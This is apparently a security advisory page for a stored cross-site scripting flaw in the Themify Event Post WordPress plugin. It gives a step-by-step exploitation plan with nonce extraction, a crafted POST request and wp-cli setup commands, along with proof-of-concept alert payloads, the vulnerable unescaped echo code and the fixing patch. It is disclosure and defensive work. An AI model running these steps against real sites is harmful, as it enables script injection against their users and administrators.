CVE-2026-32449

Themify Event Post <= 1.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.3.5
Patched in
39d
Time to patch

Description

The Themify Event Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.3.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3.4
PublishedMarch 8, 2026
Last updatedApril 15, 2026
Affected pluginthemify-event-post

What Changed in the Fix

Changes introduced in v1.3.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Themify Event Post** plugin (<= 1.3.4). ### 1. Vulnerability Summary The plugin fails to sanitize and escape post metadata associated with the `event` custom post type. Specifically, the func…

Show full research plan

This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Event Post plugin (<= 1.3.4).

1. Vulnerability Summary

The plugin fails to sanitize and escape post metadata associated with the event custom post type. Specifically, the function themify_event_type() in includes/functions.php retrieves the meta key event_attendance and echoes it directly to the page using sprintf without any call to esc_html(), esc_attr(), or wp_kses(). This allows a Contributor-level user to inject arbitrary HTML and JavaScript into the event_attendance field, which is then executed when any user (including an Administrator) views the affected event post or a list of events.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/post.php (via the standard WordPress post saving mechanism).
  • Vulnerable Parameter: event_attendance (sent as a POST parameter during post creation or update).
  • Authentication Level: Contributor or above. Contributors can create and edit their own posts of the event type.
  • Preconditions: The plugin must be active, and the 'event' post type must be registered (handled automatically on activation).

3. Code Flow

  1. Input Source: An authenticated user with edit_posts capability (Contributor+) submits a POST request to wp-admin/post.php to save or update a post of type event. The request contains the malicious payload in the event_attendance field.
  2. Storage: While the specific saving logic is in includes/post-type.php (not provided in full), the vulnerability description confirms that input is not sanitized. The payload is stored in the wp_postmeta table under the key event_attendance.
  3. Data Retrieval: When the event is rendered (either on a single post page or via a shortcode), the function themify_event_type() is called.
    • Location: includes/functions.php
    • Code: $e_type = get_post_meta( $post_id, 'event_attendance', true );
  4. Vulnerable Sink: The retrieved $e_type is printed raw.
    • Location: includes/functions.php
    • Code: echo sprintf('<div class="tep_type">%s</div>',$e_type);

4. Nonce Acquisition Strategy

To save a post in WordPress, a valid _wpnonce for the update-post_<ID> action is required.

  1. Navigate to Post Creation: Use browser_navigate to wp-admin/post-new.php?post_type=event.
  2. Extract Nonce and ID: Use browser_eval to extract the _wpnonce value from the form and the post_ID from the hidden input or the URL.
    • browser_eval("document.querySelector('#_wpnonce').value")
    • browser_eval("document.querySelector('#post_ID').value")

5. Exploitation Strategy

  1. Setup: Create a Contributor user and log in.
  2. Intercept/Identify Field: Although the provided source doesn't show the HTML form, standard Themify meta boxes typically use the meta key as the name attribute. We will send event_attendance in the POST request.
  3. HTTP Request (Post Update):
    • Tool: http_request
    • URL: https://<TARGET>/wp-admin/post.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=editpost
      &post_type=event
      &post_ID=<POST_ID>
      &_wpnonce=<NONCE>
      &post_title=XSS+Test+Event
      &event_attendance=<img src=x onerror=alert(origin)>
      &save=Save+Draft
      
  4. Trigger Execution: View the event post. Since we may not know the theme's layout, the most reliable way to trigger the sink is to view a page containing the plugin's shortcode.
    • Create a page with: [themify_event_post id="<POST_ID>"]
    • Navigate to this page.

6. Test Data Setup

  1. Create Contributor: wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Create View Page: wp post create --post_type=page --post_title="Event Display" --post_status=publish --post_content='[themify_event_post]'

7. Expected Results

  • The POST request to post.php should return a 302 redirect to the editor page, indicating the post was saved.
  • When navigating to the "Event Display" page, the browser should execute the JavaScript alert(origin), confirming that the payload was rendered without escaping.

8. Verification Steps

  1. Check Meta Storage: wp post meta get <POST_ID> event_attendance
    • Success criteria: Output matches <img src=x onerror=alert(origin)>
  2. Inspect HTML Output: Use http_request (GET) on the page containing the shortcode and search for the payload.
    • Success criteria: The response body contains <div class="tep_type"><img src=x onerror=alert(origin)></div>

9. Alternative Approaches

If event_attendance is not directly editable via post.php, try:

  • Custom Field Injection: Use the standard WordPress metakeyselect/metavalue fields if the "Custom Fields" meta box is enabled.
  • Other Meta Keys: The snippet mentions event_organizer, event_performer, and event_location in the shortcode defaults. Check if functions like themify_event_organizer() also lack escaping (common in Themify plugins).
  • Map Address: Inject the payload into the address parameter of the [themify_event_post] shortcode if the Contributor can edit pages, or via the map meta field, as themify_event_post_map renders a data-map attribute which might be parsed unsafely by the plugin's JavaScript.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Themify Event Post plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping in the `event_attendance` post meta field and the `template_before`/`template_after` shortcode attributes. This allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts that execute whenever a user views an affected event post or shortcode output.

Vulnerable Code

// includes/functions.php line 1042-1048
function themify_event_type() {
    $post_id = get_the_ID();
    $e_type=get_post_meta( $post_id, 'event_attendance', true );
    if(empty($e_type)){
        return;
    }
    echo sprintf('<div class="tep_type">%s</div>',$e_type);
}

---

// templates/shortcode.php line 51-54
if ( empty( $args['template_before'] ) )
	$args['template_before'] = '<div class="themify_event_post_loop ' . esc_attr( $args['style'] ) . '">';
if ( empty( $args['template_after'] ) )
	$args['template_after'] = '</div>';

// templates/shortcode.php line 75
echo $args['template_before'] . $this->get_shortcode_template( $events[0], $args['template'], $args ) . $args['template_after'];

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/themify-event-post/1.3.4/includes/functions.php /home/deploy/wp-safety.org/data/plugin-versions/themify-event-post/1.3.5/includes/functions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/themify-event-post/1.3.4/includes/functions.php	2025-08-14 02:01:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/themify-event-post/1.3.5/includes/functions.php	2026-02-27 00:13:42.000000000 +0000
@@ -1044,4 +1044,47 @@
         }
     }
     return $attribute_string;
+}
+
+/**
+ * Sanitize user-provided shortcode wrapper templates.
+ *
+ * WordPress core unescapes shortcode attributes (e.g. "\\x3c" -> "<").
+ * Without sanitization, template_before/template_after can be used for XSS.
+ *
+ * @param string $html Wrapper HTML.
+ * @return string Sanitized HTML.
+ */
+function themify_event_post_sanitize_template_wrapper( $html ) : string {
+	if ( $html === '' || ! is_string( $html ) ) {
+		return '';
+	}
+
+	$allowed = array(
+		'div'     => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true, 'aria-hidden' => true ),
+		'span'    => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true, 'aria-hidden' => true ),
+		'p'       => array( 'class' => true, 'id' => true ),
+		'br'      => array(),
+		'ul'      => array( 'class' => true, 'id' => true ),
+		'ol'      => array( 'class' => true, 'id' => true ),
+		'li'      => array( 'class' => true, 'id' => true ),
+		'a'       => array( 'href' => true, 'class' => true, 'id' => true, 'rel' => true, 'target' => true, 'title' => true, 'aria-label' => true ),
+		'strong'  => array(),
+		'em'      => array(),
+		'b'       => array(),
+		'i'       => array(),
+		'h1'      => array( 'class' => true, 'id' => true ),
+		'h2'      => array( 'class' => true, 'id' => true ),
+		'h3'      => array( 'class' => true, 'id' => true ),
+		'h4'      => array( 'class' => true, 'id' => true ),
+		'h5'      => array( 'class' => true, 'id' => true ),
+		'h6'      => array( 'class' => true, 'id' => true ),
+		'section' => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true ),
+		'article' => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true ),
+		'header'  => array( 'class' => true, 'id' => true ),
+		'footer'  => array( 'class' => true, 'id' => true ),
+		'nav'     => array( 'class' => true, 'id' => true, 'role' => true, 'aria-label' => true ),
+	);
+
+	return wp_kses( $html, $allowed );
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/themify-event-post/1.3.4/templates/shortcode.php /home/deploy/wp-safety.org/data/plugin-versions/themify-event-post/1.3.5/templates/shortcode.php
--- /home/deploy/wp-safety.org/data/plugin-versions/themify-event-post/1.3.4/templates/shortcode.php	2025-08-14 02:01:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/themify-event-post/1.3.5/templates/shortcode.php	2026-02-27 00:13:42.000000000 +0000
@@ -48,6 +48,10 @@
 if ( empty( $args['template_after'] ) )
 	$args['template_after'] = '</div>';
 
+// Prevent XSS via user-supplied wrapper templates.
+$args['template_before'] = themify_event_post_sanitize_template_wrapper( $args['template_before'] );
+$args['template_after']  = themify_event_post_sanitize_template_wrapper( $args['template_after'] );
+

Exploit Outline

The vulnerability can be exploited in two ways by an attacker with at least Contributor-level privileges: 1. Metadata Injection: Create or edit an 'event' custom post type and send a POST request to `wp-admin/post.php` with the `event_attendance` parameter containing a JavaScript payload (e.g., `<script>alert(1)</script>`). The script will execute whenever the event's metadata is rendered via the `themify_event_type()` function. 2. Shortcode Attribute Injection: Use the `[themify_event_post]` shortcode within a post or page and provide a malicious payload in the `template_before` or `template_after` attributes. For example: `[themify_event_post template_before="<img src=x onerror=alert(1)>"]`. Because the plugin retrieves these attributes and echoes them without sanitization, the script will execute when the page containing the shortcode is viewed by any user.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.